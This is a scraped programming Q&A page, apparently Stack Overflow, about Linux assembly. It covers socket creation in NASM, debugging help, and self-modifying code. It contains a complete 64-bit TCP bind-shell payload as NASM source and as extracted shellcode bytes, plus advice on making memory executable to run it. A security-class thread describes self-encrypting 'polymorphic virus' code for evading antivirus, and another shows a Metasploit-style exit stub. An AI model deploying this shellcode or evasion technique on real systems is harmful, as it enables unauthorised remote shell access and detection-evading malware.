Hello all.
So I'm learning assembly.And as per my usual learning steps with any new language I pick up I've arrived at networking with assembly.
Which, sadly isn't going that well as I've pretty much failed at step 0, which would be getting a socket through which communication can begin.
The assembly code should be roughly equal to the following C code:
#include <stdio.h>
#include <sys/socket.h>
int main(){
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
}
(Let's ignore the fact that it's not closing the socket for now.)
So here's what I did thus far:
Checked the manual. Which would imply that I need to make a socketcall() this is all good and well. The problem starts with that it would need an int that describes what sort of socketcall it should make. The calls manpage isn't helping much with this either as it only describes that:
On a some architectures—for example, x86-64 and ARM—there is no
socketcall() system call; instead socket(2), accept(2), bind(2), and
so on really are implemented as separate system calls.
Yet there are no such calls in the original list of syscalls - and as far as I know the socket(), accept(), bind(), listen(), etc. are calls from libnet and not from the kernel. This got me utterly confused so I've decided to compile the above C code and check up on it with strace. This yielded the following:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
While that didn't got me any closer to knowing what socket() is it did explain it's arguments. For witch I don't seem to find the proper documentation (again). I thought that PF_INET, SOCK_STREAM, IPPROTO_IP would be defined in <sys/socket.h> but my grep-ing for them didn't seem to find anything of use. So I decided to just wing it by using gdb in tandem with disass main to find the values. This gave the following output:
Dump of assembler code for function main:
0x00000000004004fd <+0>: push rbp
0x00000000004004fe <+1>: mov rbp,rsp
0x0000000000400501 <+4>: sub rsp,0x10
0x0000000000400505 <+8>: mov edx,0x0
0x000000000040050a <+13>: mov esi,0x1
0x000000000040050f <+18>: mov edi,0x2
0x0000000000400514 <+23>: call 0x400400
0x0000000000400519 <+28>: mov DWORD PTR [rbp-0x4],eax
0x000000000040051c <+31>: leave
0x000000000040051d <+32>: ret
End of assembler dump.
In my experience this would imply that socket() gets it's parameters from EDX (PF_INET), ESI (SOCK_STREAM), and EDI (IPPROTO_IP). Which would be odd for a syscall (as the convention with linux syscalls would be to use EAX/RAX for the call number and other registers for the parameters in increasing order, eg. RBX, RCX, RDX ...). The fact that this is beaing CALL-ed and not INT 0x80'd would also imply that this is not in fact a system call but rather something thats being called from a shared object. Or something.
But then again. Passing arguments in registers is very odd for something that's CALL-ed. Normally as far as I know argument's for called things should be PUSH-ed onto the stack, as the compiler can't know what registers they would try to use.
This behavior becomes even more curious when checking the produced binary with ldd:
linux-vdso.so.1 (0x00007fff4a7fc000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f56b0c61000)
/lib64/ld-linux-x86-64.so.2 (0x00007f56b1037000)
There appears to be no networking library's linked.
And that's the point where I've ran out of ideas.
So I'm asking for the following:
A documentation that describes the x86-64 linux kernel's actual syscalls and their associated numbers. (Preferably as a header file for C.)
The header files that define PF_INET, SOCK_STREAM, IPPROTO_IP as it really bugs me that I wasn't able to find them on my own system.
Maybe a tutorial for networking in assembly on x86-64 linux. (For x86-32 it's easy to find material but for some reason I came up empty with the 64 bits stuff.)
Thanks!
The 64 bit calling convention does use registers to pass arguments, both in user space and to system calls. As you have seen, the user space convention is rdi,rsi, rdx, rcx, r8, r9. For system calls, r10 is used instead of rcx which is clobbered by the syscall instruction. See wikipedia or the ABI documentation for more details.
The definitions of the various constants are hidden in header files, which are nevertheless easily found via a file system search assuming you have the necessary development packages installed. You should look in /usr/include/x86_64-linux-gnu/bits/socket.h and /usr/include/linux/in.h.
As for a system call list, it's trivial to google one, such as this. You can also always look in the kernel source of course.
socket.asm
; Socket
; Compile with: nasm -f elf socket.asm
; Link with (64 bit systems require elf_i386 option): ld -m elf_i386 socket.o -o socket
; Run with: ./socket
%include 'functions.asm'
SECTION .text
global _start
_start:
xor eax, eax ; init eax 0
xor ebx, ebx ; init ebx 0
xor edi, edi ; init edi 0
xor esi, esi ; init esi 0
_socket:
push byte 6 ; push 6 onto the stack (IPPROTO_TCP)
push byte 1 ; push 1 onto the stack (SOCK_STREAM)
push byte 2 ; push 2 onto the stack (PF_INET)
mov ecx, esp ; move address of arguments into ecx
mov ebx, 1 ; invoke subroutine SOCKET (1)
mov eax, 102 ; invoke SYS_SOCKETCALL (kernel opcode 102)
int 80h ; call the kernel
call iprintLF ; call our integer printing function (print the file descriptor in EAX or -1 on error)
_exit:
call quit ; call our quit function
more docs...
this is for x86 system. if you want use for x86_64 system change x86 register to x86_64. for example change 'eax' to 'rax' or 'esp' to 'rsp'. and change syscall value in eax(rax), see https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
[bits 32]
global _start
section .data
msg: db "Socket Failed To Create!",0xa,0
len: equ $-msg
msg1: db "Socket Created",0xa,0
len1: equ $-msg1
msg2: db "Recv Or Send Failed",0xa,0
len2: equ $-msg2
msg3: db "Shutdown Socket Failed",0xa,0
len3: equ $-msg3
DATASIZE: equ 5
SOCK_STREAM: equ 1
AF_INET: equ 2
AF_INET: equ 2
INADDR_ANY: equ 0
MSG_WAITALL: equ 0x100
MSG_DONTWAIT: equ 0x40
SHUT_RDWR: equ 2
SYS_SOCKET: equ 1 ; sys_socket(2)
SYS_BIND: equ 2 ; sys_bind(2)
SYS_CONNECT: equ 3 ; sys_connect(2)
SYS_LISTEN: equ 4 ; sys_listen(2)
SYS_ACCEPT: equ 5 ; sys_accept(2)
SYS_GETSOCKNAME:equ 6 ; sys_getsockname(2)
SYS_GETPEERNAME:equ 7 ; sys_getpeername(2)
SYS_SOCKETPAIR: equ 8 ; sys_socketpair(2)
SYS_SEND: equ 9 ; sys_send(2)
SYS_RECV: equ 10 ; sys_recv(2)
SYS_SENDTO: equ 11 ; sys_sendto(2)
SYS_RECVFROM: equ 12 ; sys_recvfrom(2)
SYS_SHUTDOWN: equ 13 ; sys_shutdown(2)
SYS_SETSOCKOPT: equ 14 ; sys_setsockopt(2)
SYS_GETSOCKOPT: equ 15 ; sys_getsockopt(2)
SYS_SENDMSG: equ 16 ; sys_sendmsg(2)
SYS_RECVMSG: equ 17 ; sys_recvmsg(2)
SYS_ACCEPT4: equ 18 ; sys_accept4(2)
SYS_RECVMMSG: equ 19 ; sys_recvmmsg(2)
SYS_SENDMMSG: equ 20 ; sys_sendmmsg(2)
struc sockaddr_in, -0x30
.sin_family: resb 2 ;2bytes
.sin_port: resb 2 ;2bytes
.sin_addr: resb 4 ;4bytes
.sin_zero: resb 8 ;8bytes
endstruc
struc socket, -0x40
.socketfd resb 4
.connectionfd resb 4
.count resb 4
.data resb DATASIZE
endstruc
section .text
_start:
push ebp
mov ebp, esp
sub esp, 0x400 ;1024byte
xor edx, edx ;or use cdq
;
; int socket(int domain, int type, int protocol);
; domain: The domain argument specifies a communication domain
;
push edx ; Push protocol
push dword SOCK_STREAM ; Push type
push dword AF_INET ; Push domain
mov ecx, esp ; ECX points to args
mov ebx, SYS_SOCKET ;
mov eax, 0x66 ; socketcall()
int 0x80
cmp eax, 0
jl .socket_failed
mov [ebp + socket.socketfd], eax
;
; fill struct sockaddr_in serv_addr;
;
mov word [ebp + sockaddr_in.sin_family], AF_INET
mov word [ebp + sockaddr_in.sin_port], 0x3905
mov dword [ebp + sockaddr_in.sin_addr], INADDR_ANY
push dword [ebp + sockaddr_in.sin_addr]
push word [ebp + sockaddr_in.sin_port]
push word [ebp + sockaddr_in.sin_family]
mov ecx, esp
;
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
push byte 0x10 ; sizeof(struct sockaddr)
push ecx ; pointer struct sockaddr
push dword [ebp + socket.socketfd]
mov ecx, esp ; ECX points to args
mov ebx, SYS_BIND ;
mov eax, 0x66
int 0x80
cmp eax, 0
jne .socket_failed
;
; int listen(int sockfd, int backlog);
;
push dword 0x10
push dword [ebp + socket.socketfd]
mov ecx, esp
mov ebx, SYS_LISTEN
mov eax, 0x66
int 0x80
cmp eax, 0
jne .socket_failed
;
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
;
xor ebx, ebx
push ebx
push ebx
push dword [ebp + socket.socketfd]
mov ecx, esp
mov ebx, SYS_ACCEPT
mov eax, 0x66
int 0x80
cmp eax, -1
je .socket_failed
mov [ebp + socket.connectionfd], eax
mov dword [ebp + socket.count], 0
.again:
lea edi, [ebp + socket.data]
mov ecx, DATASIZE
mov eax, 0
rep stosd
lea eax, [ebp + socket.data]
;
; ssize_t recv(int sockfd, const void *buf, size_t len, int flags);
;
push dword MSG_WAITALL
push dword DATASIZE
push eax
push dword [ebp + socket.connectionfd]
mov ecx, esp
mov ebx, SYS_RECV
mov eax, 0x66
int 0x80
cmp eax, 0
jle .recv_or_send_failed
mov edx, eax
lea ecx, [ebp + socket.data]
call printk
inc dword [ebp + socket.count]
cmp dword [ebp + socket.count], 5
jle .again
.break:
;
; int shutdown(int sockfd, int how);
;
push dword SHUT_RDWR
push dword [ebp + socket.socketfd]
mov ecx, esp
mov ebx, SYS_SHUTDOWN
mov eax, 0x66
int 0x80
cmp eax, 0
jne .shutdown_failed
;
; int close(int fd)
;
mov ebx, [ebp + socket.connectionfd]
mov eax, 0x06
int 0x80
cmp eax, 0
jne .shutdown_failed
jmp .success
.shutdown_failed:
mov edx, len3
mov ecx, msg3
call printk
jmp .end
.recv_or_send_failed:
mov edx, len2
mov ecx, msg2
call printk
jmp .end
.socket_failed:
mov edx, len
mov ecx, msg
call printk
jmp .end
.success:
mov edx, len1
mov ecx, msg1
call printk
jmp .end
.end:
leave
mov ebx,0 ;first syscall argument: exit code
mov eax,1 ;system call number (sys_exit)
int 0x80 ;call kernel
ret
; EDX: message length
; ECX: pointer to message to write
printk:
pusha
mov ebx,1 ;first argument: file handle (stdout)
mov eax,4 ;system call number (sys_write)
int 0x80 ;call kernel
popa
ret
Related
My program works, but there is something wrong with my printMax function. The program terminates with a
Segmentation fault (core dumped).
I have tried building a stack for the function and just doing a pusha popa and both ways, I get the seg fault core dumped.
I've tried calling the function, but it just runs twice.
Any idea what I am doing wrong?
SECTION .data ;data section
msg1 : db "Here are the array elements:", 10, 0
msg1Len: equ $-msg1
msg2 : db "Here is the max value in the array:", 10, 0
msg2Len: equ $-msg2
arr : dd 2,4,6,8,10,20,40
arrLen : equ ($-arr)/4 ;number of elements = array length / 4
SECTION .bss
max resd 1 ;declare and reserve space for max
SECTION .text
global main
main:
push ebp
mov ebp, esp
mov ecx, msg1 ;print msg1
mov edx, msg1Len
call PString
;save array base address in ebx and save sizein in ecx
mov ebx, arr
mov ecx, arrLen; store num elements in ecx
;loop to print array
PrintArray:
mov eax, [ebx] ;move value [ebx] to eax
call PrintDec
call Println
add ebx, 4
loop PrintArray
printMax:
section .text
pusha
;reset array to find max
mov ebx, arr
mov ecx, arrLen
loopForMax:
mov eax, [ebx]
cmp eax, [ebx +4]
jle sameMax
mov [max], eax
sameMax:
add ebx, 4 ;move to next element
loop loopForMax
mov ecx, msg2
mov edx, msg2Len
call PString
mov eax, [max]
call PrintDec
call Println
popa
ret
;exit program and clean stack
mov esp, ebp
pop ebp
ret
PString:; save register values of the called function
pusha
mov eax,4 ; use 'write' system call = 4
mov ebx,1 ; file descriptor 1 = STDOUT
int 80h ; call the kernel
; restore the old register values of the called function
popa
ret
Println:
;will call PString func
;will change content of ecx and edx
;need to save registers used by the main program
section .data
nl db 10
section .text
pusha
mov ecx, nl
mov edx, 1
call PString
;return original register values
popa
ret
PrintDec:
;saves all registers so they return unmodified
;build the function to handle dword size
section .bss
decstr resb 10 ; 10 32-bit digits
ct1 resd 1 ;keep track of dec-string size
section .text
pusha; save registers
mov dword[ct1],0 ;initially assume 0
mov edi, decstr ; edi points to dec-string
add edi, 9 ; moved to the last element of string
xor edx, edx ; clear edx for 64-bit div
whileNotZero:
mov ebx, 10 ; get ready to divide by 10
div ebx ; divide by 10
add edx, '0' ; convert to ascii
mov byte[edi], dl ; put it in string
dec edi ; move to next char in str
inc dword[ct1] ; inc char counter
xor edx, edx ; clear edx
cmp eax, 0 ;is remainder 0?
jne whileNotZero ;if no, keep on looping
inc edi ; conversion finished, bring edi
mov ecx, edi ; back to start of string. make ecx
mov edx, [ct1] ; point to counterm edx gets # chars
mov eax, 4 ; print to stdout
mov ebx, 1
int 0x80 ; call kernel
popa ; restore registers
ret
I am writing an TCP bind Shell using 64 bit
global _start
section .text
_start:
;Initializing the registers to make the syscalls
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
xor rdi, rdi
xor rsi, rsi
push 0x29
pop rax
push 0x2
pop rdi
inc rsi
syscall
; copying the socket descripter from rax to rdi register so that we can use it further
xchg rax, rdi
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
; setting up the data sctructure
xor rax, rax
mov dword [rsp - 4] , eax ; we are pushing 8 zero's into the eax register
mov word [rsp - 6] ,0x5c11 ; htons value for(4444) obtained from python then encoded with hex
mov byte [rsp - 8] , 0x2 ; adding the AF_INET constant value
sub rsp , 8 ; subtracting 8 bytes so that the argument will be aligned in the top of the register
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
add al, 0x31
mov rsi, rsp
add dl, 0x10
syscall
;listen the sockets for the incomming connections
; listen(sock, MAX_CLIENTS)
; syscall number 50
cdq
push 0x32
pop rax
xor rsi, rsi
add rsi, 0x2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
;syscall number 43
xor rax, rax
add al, 0x2b
sub rsp, 0x10
mov rsi, rsp
push 0x10
mov rdx, rsp
syscall
; storing the client socket description
mov r9, rax
; close parent
push 0x3
pop rax
syscall
xchg rdi , r9
xor rsi , rsi
dup2:
push 0x21
pop rax
syscall
inc rsi
cmp rsi , 0x2
loopne dup2
; NASM code for Execve
xor rax , rax
mov rdx , rax
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
push 0x3b
pop rax
syscall
When I try to run the compiled executable its running fine. But if I extract the shell-code and run it with c its throwing segmentation fault core dumped.
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89\xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xc0\x48\x89\xc2\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05";
Help me figure what's wrong in this
shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89\xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Okay, this looks like it's on Linux. You have to make your stack executable in order to make it work. You basically have to call mprotect() on your region of memory and set its permissions to PROT_EXEC and PROT_READ.
http://linux.about.com/library/cmd/blcmdl2_mprotect.htm
For a security class I am supposed to write self-modifying code for a program which finds its own executable on the disk, reads the binary data, and encrypts part of it before writing it back out to the disk. This is supposed to be like a polymorphic virus which changes itself to fool antivirus scanners which detect known signatures.
I have all the pieces pretty much in place:
I am finding the executable using /proc/self/exe.
I am using a simple AES implementation to encrypt 16 byte string in some dummy code in the executable.
I am able to read the binary data in and locate the part I need to encrypt.
My problem is that the only way I have been able to open the executable is in read-only mode "rb". If I try to open the file for writing in mode "wb" or "r+b" I get back the error "Text file busy". Is there anyway for me to write to a process's own executable in C? Can I do this by changing the permissions somehow?
EDIT: What I am trying to accomplish is to have an executable which will encrypt part of itself each time that it runs so that it will have a new checksum after every time it runs.
After reading data from the executable binary, how can I either write back to it or remove it and replace it with a new file with the same filename?
You cannot write to a file that is currently mapped as an executable. However, you can write to a file that has the same path as the current executable, so long as it isn't actually the same file — try unlinking the file you're being executed from and creating a new file in its place, for instance.
In order to do self modification too, I wrote a small code in nasm (which can be used as a stub), which opens itself and at the middle of the code (right after the mmap), we have a pointer which points to the bytes of the executable that we can modify.
The code looks like this:
BITS 64
section .text
global _start
_start:
call _main__
mov rax, 60
mov rdi, 0x0
syscall ; exit(0);
_main__:
push rbp
mov rbp, rsp
sub rsp, 144 ; stat_file
mov rdi, [rbp+0x18]
lea rsi, [rsp]
call _open_self ; open self
push r12 ; len file
push rax ; addr
mov r14, rsi
mov rdi, [rbp+0x18] ; pathname
pop rsi ; addr
pop rdx ; len
push rdx
push rsi
call __create
mov r13, rax ; second fd
mov rdi, r14 ; fd
pop rsi ; addr -> mmap
pop rdx ; len_file
call __close_unmap
mov rax, 87
mov rdi, [rbp+0x18]
syscall
mov rax, 0x3 ; close(scnd_fd);
mov rdi, r13
syscall
mov rax, 86
push 'nasm'
lea rdi, [rsp]
mov rsi, [rbp+0x18]
syscall ; link tmp name to original name
mov rax, 87
lea rdi, [rsp]
syscall ; delete old tmp file
leave
ret
; ===============================
; Open himself
_open_self:
push rbp
mov rbp, rsp
mov r15, rsi ; &stat_file
mov r12, rdi ; *pathname
mov rax, 0x2
mov rsi, 0x0 ; 0_RD
mov rdx, 509
syscall
push rax ; fd
mov rdi, rax ; fd
mov rsi, r15 ; struct stat
mov rax, 5 ; fstat
syscall
xor rdi, rdi
mov rsi, qword [r15+48]
mov rdx, 0x4
mov r10, 0x2
pop r8
push r8
mov r9, 0x0
mov rax, 9
syscall ; mmap
; rax -> byte of the executable that we gonna dump
mov r12, qword [r15+48]
pop rsi ; fd
leave
ret
; ===============================
; int __create(const char *pathname, void *addr, ssize_t len_bytes_mapped);
__create:
push rbp
mov rbp, rsp
push rsi ; addr
push rcx ; len
push 'nasm'
lea rdi, [rsp]
mov rax, 0x2
mov rsi, 0x42 ; 0_CREAT | O_RDWR
mov rdx, 509
syscall ; sys_open
add rsp, 0x8 ; 'nasm'
mov r9, rax ; fd
mov rdi, rax ; fd
mov rax, 0x1
pop rdx
pop rsi
syscall ; sys_write
mov rax, r9 ; fd final
leave
ret
; int __close_unmap(int fd, unsigned lon addr, ssize_t len_file);
__close_unmap:
push rbp
mov rbp, rsp
push rdi
mov rdi, rsi
mov rsi, rdx
mov rax, 11
syscall ; munmap(addr, len_file)
pop rdi
mov rax, 3
syscall ; close(fd);
leave
ret
It is a bit long but it makes just :
-Open it self in read mode (O_RD == 0x0)
-Do a stat(*pathname, &buffer_struct_stat);
-And then a mmap(0, buffer_struct_stat.st_size, 0x4, MAP_PRIVATE, fd_read_only, 0);
-Here you can edit your executable by editing the bytes at the address returned by mmap
-Create a tmp file named "nasm"
-Do a write(fd_tmp, address_of_mmap, buffer_struct_stat.st_size)
-Close the two file descriptors and munmap the mmap
-Now it's cool : unlink(pathname) and link("nasm", "pathname")
I'm learning NASM at the moment and am making a simple program that does multiplication of any user-input variables through shifting and addition.
I've been running into a series of issues: My multiplicand is, for some reason, being given at the maximum data value a word can hold. Furthermore, my answer, if the program should get that far, is almost always wrong (even though I believe my algorithm is correct!).
extern printf
extern scanf
section .data
message: db "Enter your multiplicand: "
message_L: equ $-message
message2: db "The number you entered is: %d ", 10, 0
message2_L: equ $-message2
message3: db "Enter your multiplier: "
message3_L: equ $-message3
message4: db "Your multiplier is: %d ", 10, 0
message4_L: equ $-message4
message5: db "The product of this multiplication is: %d ", 10, 0
mesasge5_L: equ $-message5
fmt1: db "%d", 0
section .bss
multiplicand: resw 1
multiplier: resw 1
product: resw 1
section .text
global main
scanInt:
push ebp
mov ebp, esp
sub esp, 2
lea eax, [ebp-2]
push eax
push dword fmt1
call scanf
mov ax, word[ebp-2]
mov esp, ebp
pop ebp
ret
main:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov eax, 4
mov ebx, 1
mov ecx, message
mov edx, message_L
int 80h
call scanInt
mov word[multiplicand], ax
mov word[product], ax
jmp print1
main2:
mov eax, 4
mov ebx, 1
mov ecx, message3
mov edx, message3_L
int 80h
call scanInt
mov word[multiplier], ax
jmp print2
main3:
mov ax, word[multiplicand]
jmp check
check:
cmp word[multiplier], 2
jz printAnswer
ror [multiplier], 1
shl word[multiplier], 1
jc carry
shr word[multiplier], 1
shr word[multiplier], 1
shl word[product], 1
jmp check
carry:
add word[product], ax
shr word[multiplier], 1
clc
jmp check
endLoop:
mov eax, 1
mov ebx, 0
int 80h
printAnswer:
push ebp
mov ebp, esp
push word[product]
push dword message5
call printf
add esp, 12
mov esp, ebp
pop ebp
jmp endLoop
print1:
push ebp
mov ebp, esp
push dword[multiplicand]
push dword message2
call printf
add esp, 12
mov esp, ebp
pop ebp
jmp main2
print2:
push ebp
mov ebp, esp
push dword[multiplier]
push dword message4
call printf
add esp, 12
mov esp, ebp
pop ebp
jmp main3
I think your main problem comes from using word variables. Making a two-byte buffer on the stack, and calling scanf to read into it is almost certainly a problem. Pushing a word in 32-bit code is "legal", but likely to cause problems. In one instance, you call printf with two variables, and add esp, 12 afterwards. Make 'em all dwords and keep your stack manipulation in four-byte chunks. I think that'll cure most of your problems.
The man pages explicitly suggest not mixing high-level, buffered I/O, functions with low level functions (printf, scanf, fopen(), fread(), fwrite(), etc. are high level functions, open(), read(), write()... and system calls are low level functions). I don't think that this is causing any of your problems, but it can cause weird results. For example, printf doesn't print anything until the buffer is flushed. Ending with a linefeed, or using another high level I/O function will flush the buffer. sys_read, for example, does not. I'd stick to one or the other.
Good luck!
I want to port this c++ function to NASM.
DWORD WINAPI Generic(LPVOID lpParameter) {
__asm {
mov eax, [lpParameter]
call eax
push 0
call ExitThread
}
return 0;
}
I have some problems understanding how lpParameter works here, and i have and error there when i compile this on NASM.
this is my current code:
BITS 32
global _start
_start:
mov eax, [lpParameter]
call eax
push 0
call exitfunk
exitfunk:
mov ebx, 0x0A2A1DE0
push 0x9DBD95A6
call ebp
cmp al, byte 6
jl short goodbye
cmp bl, 0xE0
jne short goodbye
mov ebx, 0x6F721347
goodbye:
push byte 0
push ebx
call ebp
any one can help me?
IIRC, NASM does not support named function parameters, and so you have to extract the parameters manually from registers or the stack. AFAIR, all Win32 API functions expect parameters on the stack, so you should replace this
mov eax, [lpParameter]
with this
mov eax, [esp+4]